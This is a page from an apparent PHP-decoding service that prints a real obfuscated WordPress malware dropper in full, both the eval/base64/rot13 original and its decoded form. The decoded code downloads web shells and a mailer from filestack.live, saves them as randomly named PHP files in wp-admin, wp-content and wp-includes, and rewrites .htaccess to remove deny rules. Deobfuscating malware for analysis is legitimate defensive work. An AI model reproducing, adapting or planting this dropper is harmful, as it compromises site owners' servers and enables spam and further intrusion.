Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $uqEGM = 'st'.'r'.'_rot'.'13'; $poWUv = 'base6'.'4'.'_deco'.'de'; error_reporting(0)..

Decoded Output download

 error_reporting(0); $p_olux = str_replace("../", "", "/home/risalt/domains/riglosa.lt/public_html/wp-admin/i2a13fEekmj.php"); $p_mailer = str_replace("../", "", "/home/risalt/domains/riglosa.lt/public_html/wp-content/dM9ICYwiWT2.php"); $p_xleet = str_replace("../", "", "/home/risalt/domains/riglosa.lt/public_html/wp-includes/37ibj2DrRLZ.php"); $root = str_replace("../", "", "/home/risalt/domains/riglosa.lt/public_html/"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); }  } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); }  } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "4UZ8cXkmnP7", $mailer); save($p_mailer, $mailer); }  } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }

Did this file decode correctly?

Original Code

<?php $uqEGM = 'st'.'r'.'_rot'.'13'; $poWUv = 'base6'.'4'.'_deco'.'de'; error_reporting(0); ini_set('error_log', NULL); ini_set('display_errors', 0); /**    fwgybtxnolriebudtnis kq og     ***/ ini_set('log_errors', 0); eval($poWUv($uqEGM('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'))); ?>

Function Calls

ini_set 3
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$poWUv base64_decode
$uqEGM str_rot13

Stats

MD5 a40b9f053058abf4a048a976994254b8
Eval Count 1
Decode Time 70 ms